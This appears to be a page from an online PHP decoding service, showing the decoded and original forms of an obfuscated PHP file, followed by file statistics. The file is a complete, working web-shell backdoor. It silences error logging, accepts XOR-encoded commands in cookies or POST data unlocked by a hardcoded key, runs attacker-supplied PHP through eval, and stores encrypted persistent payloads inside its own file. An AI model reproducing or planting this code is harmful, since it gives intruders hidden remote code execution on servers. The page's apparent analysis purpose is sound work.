Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (!defined("stream_context_create ")) { define("stream_context_create ", 1);..
Decoded Output download
<?php
if (!defined("stream_context_create ")) {
define("stream_context_create ", 1);
@ini_set("error_log", null);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "
");
}
if (!defined("file_put_contents ")) {
define("file_put_contents ", 1);
$hnxobrfz = "e22a81f0-04c3-4e76-9889-8a5cdfa4a652";
global $hnxobrfz;
function ocmxzd($xujguad)
{
if (strlen($xujguad) < 4) {
return "";
}
$qglhzime =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$vuangdj = str_split($qglhzime);
$vuangdj = array_flip($vuangdj);
$hpcgrd = 0;
$yzxhgyz = "";
$xujguad = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $xujguad);
do {
$hnoicayi = $vuangdj[$xujguad[$hpcgrd++]];
$mfnbcf = $vuangdj[$xujguad[$hpcgrd++]];
$hsvwen = $vuangdj[$xujguad[$hpcgrd++]];
$kycsghjo = $vuangdj[$xujguad[$hpcgrd++]];
$lemoio = ($hnoicayi << 2) | ($mfnbcf >> 4);
$qfyltxv = (($mfnbcf & 15) << 4) | ($hsvwen >> 2);
$rugeyap = (($hsvwen & 3) << 6) | $kycsghjo;
$yzxhgyz = $yzxhgyz . chr($lemoio);
if ($hsvwen != 64) {
$yzxhgyz = $yzxhgyz . chr($qfyltxv);
}
if ($kycsghjo != 64) {
$yzxhgyz = $yzxhgyz . chr($rugeyap);
}
} while ($hpcgrd < strlen($xujguad));
return $yzxhgyz;
}
if (!function_exists("file_put_contents")) {
function file_put_contents($lezpuzyh, $yeaymzq, $qafrhdns = false)
{
$yeaymzqjzajnw = $qafrhdns == 8 ? "a" : "w";
$xkkncvz = @fopen($lezpuzyh, $yeaymzqjzajnw);
if ($xkkncvz === false) {
return 0;
} else {
if (is_array($yeaymzq)) {
$yeaymzq = implode($yeaymzq);
}
$uneyebnxmgfwmr = fwrite($xkkncvz, $yeaymzq);
fclose($xkkncvz);
return $uneyebnxmgfwmr;
}
}
}
if (!function_exists("file_get_contents")) {
function file_get_contents($qpbqtfo)
{
$xmxsxmhb = fopen($qpbqtfo, "r");
$kljlqm = fread($xmxsxmhb, filesize($qpbqtfo));
fclose($xmxsxmhb);
return $kljlqm;
}
}
function ojzuvubq()
{
return trim(preg_replace("/\(.*\$/", "", __FILE__));
}
function ezfzjud($uneyebnxthbum, $bgnhmz)
{
$qoznpb = "";
for ($hpcgrd = 0; $hpcgrd < strlen($uneyebnxthbum); ) {
for (
$uneyebnx = 0;
$uneyebnx < strlen($bgnhmz) &&
$hpcgrd < strlen($uneyebnxthbum);
$uneyebnx++, $hpcgrd++
) {
$qoznpb .= chr(
ord($uneyebnxthbum[$hpcgrd]) ^ ord($bgnhmz[$uneyebnx])
);
}
}
return $qoznpb;
}
function qpzjnust($uneyebnxthbum, $bgnhmz)
{
global $hnxobrfz;
return ezfzjud(ezfzjud($uneyebnxthbum, $bgnhmz), $hnxobrfz);
}
function mzvsgpzg($uneyebnxthbum, $bgnhmz)
{
global $hnxobrfz;
return ezfzjud(ezfzjud($uneyebnxthbum, $hnxobrfz), $bgnhmz);
}
function zhvhfx()
{
$hmyucsyq = @file_get_contents(ojzuvubq());
$rjpobf = strpos($hmyucsyq, md5(ojzuvubq()));
if ($rjpobf !== false) {
$lezpuzyhloyibvp = substr($hmyucsyq, $rjpobf + 32);
$vaaytnfz = @unserialize(
qpzjnust(rawurldecode($lezpuzyhloyibvp), md5(ojzuvubq()))
);
} else {
$vaaytnfz = [];
}
return $vaaytnfz;
}
function tzkbqe($vaaytnfz)
{
$yeaymzqfgltlma = rawurlencode(
mzvsgpzg(@serialize($vaaytnfz), md5(ojzuvubq()))
);
$hmyucsyq = @file_get_contents(ojzuvubq());
$rjpobf = strpos($hmyucsyq, md5(ojzuvubq()));
if ($rjpobf !== false) {
$zrrffdm = substr($hmyucsyq, $rjpobf + 32);
$hmyucsyq = str_replace($zrrffdm, $yeaymzqfgltlma, $hmyucsyq);
} else {
$hmyucsyq =
$hmyucsyq . "
//" . md5(ojzuvubq()) . $yeaymzqfgltlma;
}
@file_put_contents(ojzuvubq(), $hmyucsyq);
}
function ukcjzi($lezpuzyhhvwflyr, $qmjvbjw)
{
$vaaytnfz = zhvhfx();
$vaaytnfz[$lezpuzyhhvwflyr] = ocmxzd($qmjvbjw);
tzkbqe($vaaytnfz);
}
function ukyambef($lezpuzyhhvwflyr)
{
$vaaytnfz = zhvhfx();
unset($vaaytnfz[$lezpuzyhhvwflyr]);
tzkbqe($vaaytnfz);
}
function agfljz($lezpuzyhhvwflyr = null)
{
foreach (zhvhfx() as $awfjbnmy => $zumydn) {
if ($lezpuzyhhvwflyr) {
if (strcmp($lezpuzyhhvwflyr, $awfjbnmy) == 0) {
eval($zumydn);
break;
}
} else {
eval($zumydn);
}
}
}
foreach (
array_merge($_COOKIE, $_POST)
as $lezpuzyhvjyohvn => $uneyebnxthbum
) {
$uneyebnxthbum = @unserialize(
qpzjnust(ocmxzd($uneyebnxthbum), $lezpuzyhvjyohvn)
);
if (
isset($uneyebnxthbum["ak"]) &&
$hnxobrfz == $uneyebnxthbum["ak"]
) {
if ($uneyebnxthbum["a"] == "i") {
$hpcgrd = [
"pv" => @phpversion(),
"sv" => "2.0-1",
"ak" => $uneyebnxthbum["ak"],
];
echo @serialize($hpcgrd);
exit();
} elseif ($uneyebnxthbum["a"] == "e") {
eval($uneyebnxthbum["d"]);
} elseif ($uneyebnxthbum["a"] == "plugin") {
if ($uneyebnxthbum["sa"] == "add") {
ukcjzi($uneyebnxthbum["p"], $uneyebnxthbum["d"]);
} elseif ($uneyebnxthbum["sa"] == "rem") {
ukyambef($uneyebnxthbum["p"]);
}
}
echo $uneyebnxthbum["ak"];
exit();
}
}
agfljz();
}
} ?>
Did this file decode correctly?
Original Code
<?php
if (!defined("stream_context_create ")) {
define("stream_context_create ", 1);
@ini_set("error_log", null);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "\n");
}
if (!defined("file_put_contents ")) {
define("file_put_contents ", 1);
$hnxobrfz = "e22a81f0-04c3-4e76-9889-8a5cdfa4a652";
global $hnxobrfz;
function ocmxzd($xujguad)
{
if (strlen($xujguad) < 4) {
return "";
}
$qglhzime =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$vuangdj = str_split($qglhzime);
$vuangdj = array_flip($vuangdj);
$hpcgrd = 0;
$yzxhgyz = "";
$xujguad = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $xujguad);
do {
$hnoicayi = $vuangdj[$xujguad[$hpcgrd++]];
$mfnbcf = $vuangdj[$xujguad[$hpcgrd++]];
$hsvwen = $vuangdj[$xujguad[$hpcgrd++]];
$kycsghjo = $vuangdj[$xujguad[$hpcgrd++]];
$lemoio = ($hnoicayi << 2) | ($mfnbcf >> 4);
$qfyltxv = (($mfnbcf & 15) << 4) | ($hsvwen >> 2);
$rugeyap = (($hsvwen & 3) << 6) | $kycsghjo;
$yzxhgyz = $yzxhgyz . chr($lemoio);
if ($hsvwen != 64) {
$yzxhgyz = $yzxhgyz . chr($qfyltxv);
}
if ($kycsghjo != 64) {
$yzxhgyz = $yzxhgyz . chr($rugeyap);
}
} while ($hpcgrd < strlen($xujguad));
return $yzxhgyz;
}
if (!function_exists("file_put_contents")) {
function file_put_contents($lezpuzyh, $yeaymzq, $qafrhdns = false)
{
$yeaymzqjzajnw = $qafrhdns == 8 ? "a" : "w";
$xkkncvz = @fopen($lezpuzyh, $yeaymzqjzajnw);
if ($xkkncvz === false) {
return 0;
} else {
if (is_array($yeaymzq)) {
$yeaymzq = implode($yeaymzq);
}
$uneyebnxmgfwmr = fwrite($xkkncvz, $yeaymzq);
fclose($xkkncvz);
return $uneyebnxmgfwmr;
}
}
}
if (!function_exists("file_get_contents")) {
function file_get_contents($qpbqtfo)
{
$xmxsxmhb = fopen($qpbqtfo, "r");
$kljlqm = fread($xmxsxmhb, filesize($qpbqtfo));
fclose($xmxsxmhb);
return $kljlqm;
}
}
function ojzuvubq()
{
return trim(preg_replace("/\(.*\$/", "", __FILE__));
}
function ezfzjud($uneyebnxthbum, $bgnhmz)
{
$qoznpb = "";
for ($hpcgrd = 0; $hpcgrd < strlen($uneyebnxthbum); ) {
for (
$uneyebnx = 0;
$uneyebnx < strlen($bgnhmz) &&
$hpcgrd < strlen($uneyebnxthbum);
$uneyebnx++, $hpcgrd++
) {
$qoznpb .= chr(
ord($uneyebnxthbum[$hpcgrd]) ^ ord($bgnhmz[$uneyebnx])
);
}
}
return $qoznpb;
}
function qpzjnust($uneyebnxthbum, $bgnhmz)
{
global $hnxobrfz;
return ezfzjud(ezfzjud($uneyebnxthbum, $bgnhmz), $hnxobrfz);
}
function mzvsgpzg($uneyebnxthbum, $bgnhmz)
{
global $hnxobrfz;
return ezfzjud(ezfzjud($uneyebnxthbum, $hnxobrfz), $bgnhmz);
}
function zhvhfx()
{
$hmyucsyq = @file_get_contents(ojzuvubq());
$rjpobf = strpos($hmyucsyq, md5(ojzuvubq()));
if ($rjpobf !== false) {
$lezpuzyhloyibvp = substr($hmyucsyq, $rjpobf + 32);
$vaaytnfz = @unserialize(
qpzjnust(rawurldecode($lezpuzyhloyibvp), md5(ojzuvubq()))
);
} else {
$vaaytnfz = [];
}
return $vaaytnfz;
}
function tzkbqe($vaaytnfz)
{
$yeaymzqfgltlma = rawurlencode(
mzvsgpzg(@serialize($vaaytnfz), md5(ojzuvubq()))
);
$hmyucsyq = @file_get_contents(ojzuvubq());
$rjpobf = strpos($hmyucsyq, md5(ojzuvubq()));
if ($rjpobf !== false) {
$zrrffdm = substr($hmyucsyq, $rjpobf + 32);
$hmyucsyq = str_replace($zrrffdm, $yeaymzqfgltlma, $hmyucsyq);
} else {
$hmyucsyq =
$hmyucsyq . "\n\n//" . md5(ojzuvubq()) . $yeaymzqfgltlma;
}
@file_put_contents(ojzuvubq(), $hmyucsyq);
}
function ukcjzi($lezpuzyhhvwflyr, $qmjvbjw)
{
$vaaytnfz = zhvhfx();
$vaaytnfz[$lezpuzyhhvwflyr] = ocmxzd($qmjvbjw);
tzkbqe($vaaytnfz);
}
function ukyambef($lezpuzyhhvwflyr)
{
$vaaytnfz = zhvhfx();
unset($vaaytnfz[$lezpuzyhhvwflyr]);
tzkbqe($vaaytnfz);
}
function agfljz($lezpuzyhhvwflyr = null)
{
foreach (zhvhfx() as $awfjbnmy => $zumydn) {
if ($lezpuzyhhvwflyr) {
if (strcmp($lezpuzyhhvwflyr, $awfjbnmy) == 0) {
eval($zumydn);
break;
}
} else {
eval($zumydn);
}
}
}
foreach (
array_merge($_COOKIE, $_POST)
as $lezpuzyhvjyohvn => $uneyebnxthbum
) {
$uneyebnxthbum = @unserialize(
qpzjnust(ocmxzd($uneyebnxthbum), $lezpuzyhvjyohvn)
);
if (
isset($uneyebnxthbum["ak"]) &&
$hnxobrfz == $uneyebnxthbum["ak"]
) {
if ($uneyebnxthbum["a"] == "i") {
$hpcgrd = [
"pv" => @phpversion(),
"sv" => "2.0-1",
"ak" => $uneyebnxthbum["ak"],
];
echo @serialize($hpcgrd);
exit();
} elseif ($uneyebnxthbum["a"] == "e") {
eval($uneyebnxthbum["d"]);
} elseif ($uneyebnxthbum["a"] == "plugin") {
if ($uneyebnxthbum["sa"] == "add") {
ukcjzi($uneyebnxthbum["p"], $uneyebnxthbum["d"]);
} elseif ($uneyebnxthbum["sa"] == "rem") {
ukyambef($uneyebnxthbum["p"]);
}
}
echo $uneyebnxthbum["ak"];
exit();
}
}
agfljz();
}
}
Function Calls
None |
Stats
MD5 | 1ed79cd521f6ba28681bec2d211bc599 |
Eval Count | 0 |
Decode Time | 60 ms |